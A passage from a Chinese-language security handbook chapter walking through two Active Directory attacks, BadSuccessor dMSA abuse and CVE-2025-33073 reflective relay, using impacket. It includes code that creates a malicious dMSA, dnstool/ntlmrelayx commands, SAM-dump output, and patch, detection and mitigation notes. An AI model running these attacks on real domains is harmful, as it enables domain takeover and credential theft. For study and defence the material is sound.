第 9 章 实战案例:BadSuccessor 与 CVE-2025-33073
第 9 章 实战案例:用 impacket 编写最新漏洞 PoC
本章挑了两个最有代表性的最新案例:BadSuccessor(滥用 Windows Server 2025 新引入的 dMSA 账户类型接管域)与 CVE-2025-33073(反射式中继一步拿到 SYSTEM)。前者演示"如何用 LDAP + 自构造安全描述符写攻击脚本",后者演示"如何理解并复现 impacket 中继框架支持的最新攻击工作流"。
9.1 BadSuccessor(CVE-2025-53779):滥用 dMSA 接管域
背景。 2025 年 5 月 21 日,Akamai 研究员 Yuval Gordon 公开了 BadSuccessor;在 DEF CON 2025 演讲后不久,微软为其分配了编号 CVE-2025-53779 并发布补丁。它滥用的不是某个"内存破坏 bug",而是 Windows Server 2025 新引入的一种账户类型——委派托管服务账户(delegated Managed Service Account,dMSA)。dMSA 的设计初衷是方便把传统服务账户"迁移"成托管账户;但研究者发现,迁移关系的继承完全依赖单个属性 msDS-ManagedAccountPrecededByLink,而 KDC 从不校验这条"血缘"是否真实。
原理。 只要攻击者对任意一个 OU拥有 CreateChild("创建所有子对象")或创建 msDS-DelegatedManagedServiceAccount 的权限,就能在该 OU 下创建一个 dMSA,然后把它的 msDS-ManagedAccountPrecededByLink 指向任意目标账户(Domain Admin、域控、Protected Users,甚至"敏感不可委派"账户),并把迁移状态置为"已完成"。之后 KDC 在认证时会把这个 dMSA 当作目标的"继任者":一方面把目标的全部组权限合并进 dMSA 的 PAC,另一方面在 dMSA 密钥包中返回目标的 Kerberos 密钥。Akamai 在 91% 的受测环境里发现,域管理员组之外的用户就已经具备所需权限。
关键属性一览:
| 属性 | 作用 |
|---|---|
objectClass = msDS-DelegatedManagedServiceAccount |
dMSA 的对象类 |
msDS-DelegatedMSAState = 2 |
迁移状态(2 表示"迁移完成") |
msDS-ManagedAccountPrecededByLink |
指向被"继承"的账户 DN —— 攻击的核心 |
msDS-GroupMSAMembership |
谁有权取回托管密码(安全描述符) |
msDS-ManagedPasswordInterval |
密码轮换周期 |
impacket 的对应工具。 examples/badsuccessor.py 实现了 search / add / delete / modify 四个动作。其中 search 等价于 Akamai 的 Get-BadSuccessorOUPermissions.ps1:遍历所有 OU 的 nTSecurityDescriptor,找出对 msDS-DelegatedManagedServiceAccount(GUID 0feb936f-47b3-49f2-9386-1dedc2c23765)具备相关权限的身份。
# eg.examples/badsuccessor.py(节选:search_ous 的 ACL 判定)
relevant_rights = {
"CreateChild": 0x00000001,
"GenericAll": 0x10000000,
"WriteDACL": 0x00040000,
"WriteOwner": 0x00080000,
}
relevant_object_types = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data) # 解析 OU 的安全描述符
for ace in sd['Dacl'].aces:
if ace['AceType'] not in (ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE,
ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
continue
mask = int(ace['Ace']['Mask']['Mask'])
if not any(mask & right for right in relevant_rights.values()):
continue
# 对象型 ACE 还要看 ObjectType GUID 是否命中 dMSA
ace_data = ace['Ace']
if ace['AceType'] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE:
object_guid = str(uuid.UUID(bytes_le=ace_data['ObjectType'])).lower()
if object_guid not in relevant_object_types:
continue
...
add 动作则演示了"自构造安全描述符 + 创建对象"的完整写法,这正是本手册反复强调的"自己写 PoC"的能力:先为 dMSA 构造一份只允许攻击者取回密码的 nTSecurityDescriptor,再一次性把上面那串属性写进去。
# eg.examples/badsuccessor.py(节选:add_dmsa 的属性与创建调用)
attributes = {
'cn': self.__dmsaName,
'sAMAccountName': '%s$' % self.__dmsaName,
'dNSHostName': dns_hostname,
'userAccountControl': 4096,
'msDS-ManagedPasswordInterval': 30,
'msDS-DelegatedMSAState': 2, # 迁移"完成"
'msDS-SupportedEncryptionTypes': 28,
'accountExpires': 9223372036854775807,
'msDS-GroupMSAMembership': group_msa_membership, # 允许谁读托管密码
'msDS-ManagedAccountPrecededByLink': target_dn, # 指向被继承账户
}
success = ldapConnection.add(dmsa_dn, ['msDS-DelegatedManagedServiceAccount'], attributes=attributes)
补丁之后。 微软在 kdcsvc.dll 里加了校验:单向链接不再被 KDC 认可,必须双向互为引用(目标账户也引用该 dMSA,就像一次真实的迁移)才会签发票据。但这并没有给链接属性本身加保护,所以 BadSuccessor 作为技术并未消失——在已控目标对象的场景下,它仍可作为"影子凭据"或"DCSync 的替代"来窃取凭据。检测点包括:事件 5137(dMSA 创建)、5136(msDS-ManagedAccountPrecededByLink 修改)、2946(为 dMSA 签发 TGT)、4662(对象操作)。
现成工具。 上游 examples/badsuccessor.py 的 search 动作已实现等价的权限侦察(对应 Akamai 的 Get-BadSuccessorOUPermissions.ps1),直接用即可。
9.2 CVE-2025-33073:反射式中继,一步到 SYSTEM
背景。 CVE-2025-33073 由 RedTeam Pentesting 于 2025 年 1 月发现(Synacktiv 等团队独立复现),2025-05-30 分配编号,随 6 月补丁日修复。微软把它描述为"SMB 客户端提权漏洞",但正如 Synacktiv 指出的,它实际上是对任意未强制 SMB 签名机器的"认证后远程命令执行(SYSTEM)"。它复活了被认为早已死透的NTLM 反射(自 MS08-068 起被禁),并把它扩展到了 Kerberos。
原理:CMTI 技巧 + 反射。 攻击分三步:
- 注册一条"带泥"的 DNS 记录。 借助 James Forshaw 的
CREDENTIAL_TARGET_INFORMATION(CMTI)思路,SPN 末尾可以拼接一段被序列化的目标信息。于是注册形如srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA的记录(1UWhRCAAAA...就是 marshalled 的目标信息),让它指向攻击机。任意已认证用户默认就有权在域里创建 DNS 记录(配合 ADIDNS)。 - 强制目标认证。 用 PetitPotam 等强制认证原语,诱导目标机器(以 SYSTEM 身份运行的服务)向上述记录对应的主机发起 SMB 认证。LSASS 在构造认证前会丢弃末尾的 marshalled 部分,只留下
srv1——于是它"以为"自己是在做本地认证,按本地 NTLM(把 SYSTEM 令牌复制进服务端上下文)或 Kerberos(子密钥KERB_LOCAL命中)处理。 - 回打自身。 把这次认证中继回目标机器自己的 SMB 服务,即可获得 SYSTEM 会话,进而远程改注册表、转储 SAM。
# 1. 添加带 CMTI 的 DNS 记录(任意域用户即可)
# dnstool.py -u 'CORP\lowpriv' -p <pass> -a add -d <attacker_ip> \
# -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <dc_ip>
# 2. 强制认证 + 3. 回打自身
# ntlmrelayx.py -t smb://SRV1.CORP.LOCAL -smb2support
[*] Authenticating against smb://SRV1.CORP.LOCAL as / SUCCEED
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...:::
前置条件。 只要求目标不强制 SMB 签名——服务端默认只在域控上开启签名,客户端自 Windows 11 24H2 起默认开启,因此大量服务器/客户端仍暴露。开启 SMB 签名即可阻断此攻击(即便不打补丁)。
impacket 的支持。 0.13.1 为 ntlmrelayx.py 增加了与 CVE-2025-33073 相关中继工作流所需的"去除 NTLM sign/seal"路径(--remove-mic 相关处理),并紧跟修复了 CVE-2025-53778(反射绕过了 HTTPS/WinRM/MSSQL 的通道绑定 CBT)。这些细节直接体现在 impacket/examples/ntlmrelayx 的各 relay server 与 SOCKS 插件里。
补丁与现状。 微软在 mrxsmb!SmbCeCreateSrvCall 中新增了对目标名的检查:一旦发现其中含 marshalled target info 就中止 SMB 连接。但 Synacktiv 在 2026 年进一步指出,该补丁只堵住了 SMB 客户端的 CMTI 技巧,随后又出现了基于 Unicode 归一化 / 自定义端口的新强制认证原语(CVE-2026-24294、CVE-2026-26128 等),认证反射这一漏洞大类远未终结。防御上,"域内强制 SMB 签名 + 关闭/审计 ADIDNS 记录创建 + 减少强制认证原语"是最实在的组合拳。
小结:两个案例都说明同一件事——协议链路一旦开放,攻击面就会不断被重新发现。BadSuccessor 提醒我们关注 KDC 对"迁移关系"的信任假设;CVE-2025-33073 提醒我们"缓解措施(NTLM 反射防护)不等于根治"。而 impacket 之所以能第一时间跟上,恰恰是因为它的模块化实现把每个协议原语都切分得足够细——这也正是本手册花了七章去拆解源码的原因。
引用:
写作过程中参考了大量前辈的文章,属于站在大佬们的肩膀上学习。由于写作节奏紧凑,引用可能有遗漏,欢迎指出,会及时补充(绝无故意不引用之意)。
https://paper.seebug.org/1755/
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
https://learn.microsoft.com/zh-cn/windows/win32/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance
http://www.yfvb.com/help/wmi/index.htm
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/485026a6-d7e0-4ef8-a44f-43e5853fff9d
https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process#methods
https://blog.csdn.net/Ping_Pig/article/details/119446154
https://learn.microsoft.com/en-us/openspecs/windows_protocols/
https://learn.microsoft.com/en-us/windows/win32/shell/shellwindows-item
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://www.ibm.com/docs/zh/db2/10.1.0?topic=routines-ole-automation
https://www.anquanke.com/post/id/215960
https://blog.csdn.net/guxch/article/details/6880335
https://payloads.online/archivers/2020-07-16/1/
https://blog.51cto.com/u_15075510/3505281
https://www.zhihu.com/question/49433640/answer/115952604
https://learning.oreilly.com/library/view/learning-dcom
https://zh.wikipedia.org/wiki/%E9%81%A0%E7%A8%8B%E9%81%8E%E7%A8%8B%E8%AA%BF%E7%94%A8
https://learn.microsoft.com/en-us/openspecs/windows_protocols/
https://github.com/OTRF/ThreatHunter-Playbook
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/cca27429-5689-4a16-b2b4-9325d93e4ba2
https://blog.csdn.net/zhuhuan_5/article/details/107593368
https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm
https://learn.microsoft.com/zh-cn/windows/win32/rpc/
http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862
https://payloads.online/archivers/2022-03-04/1/#0x03-impacket%E7%9A%84%E9%80%9A%E7%94%A8%E5%BC%80%E5%8F%91%E6%B5%81%E7%A8%8B
https://www.freebuf.com/articles/network/265320.html
https://myzxcg.com/2021/08/Kerberos-%E8%AE%A4%E8%AF%81%E8%BF%87%E7%A8%8B%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90%E4%B8%80/
https://www.cnblogs.com/yokan/p/16102699.html
https://www.4hou.com/posts/5KG8
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-spng/f377a379-c24f-4a0f-a3eb-0d835389e28a
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/06451bf2-578a-4b9d-94c0-8ce531bf14c4
https://docs.oracle.com/cd/E19253-01/819-7056/6n91eac42/index.html
https://silvermissile.github.io/2020/08/16/%E6%95%B0%E6%8D%AE%E5%8A%A8%E6%80%81%E5%AE%89%E5%85%A8%E5%8D%8F%E8%AE%AE%E7%BB%BC%E8%BF%B0/
https://zhuanlan.zhihu.com/p/68583311
https://zhuanlan.zhihu.com/p/266491528
https://juejin.cn/post/6844903955416219661
https://www.ietf.org/rfc/rfc4615.txt
https://www.ietf.org/rfc/rfc4493.txt
https://www.ibm.com/docs/en/zos/2.3.0?topic=kpi-krb5-get-cred-from-kdc-obtain-kdc-server-service-ticket
https://web.mit.edu/kerberos/krb5-devel/doc/appdev/refs/types/krb5_creds.html
https://www.rfc-editor.org/rfc/rfc6448.html
https://repo.or.cz/w/krb5dissect.git/blob_plain/HEAD:/keytab.txt
https://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface
https://datatracker.ietf.org/doc/html/rfc4121
http://tech.sina.com.cn/roll/2007-08-05/2043381729.shtml
https://fossies.org/dox/freedce-1.1.0.7/mgmt_8c.html#aa683fdbf3f0ae0f068468426f0f5ae3e
https://pubs.opengroup.org/onlinepubs/9629399/apdxq.htm
https://learn.microsoft.com/en-us/openspecs/windows_protocols
https://tttang.com/archive/1403/
https://www.anquanke.com/post/id/219374#h3-6
https://devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/
https://twitter.com/_mohemiv
https://devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
https://cloud.tencent.com/developer/article/1937702
https://xie1997.blog.csdn.net/article/details/119457498
https://www.freebuf.com/articles/network/285345.html
https://www.akamai.com/blog/security-research/cold-hard-cache-bypassing-rpc-with-cache-abuse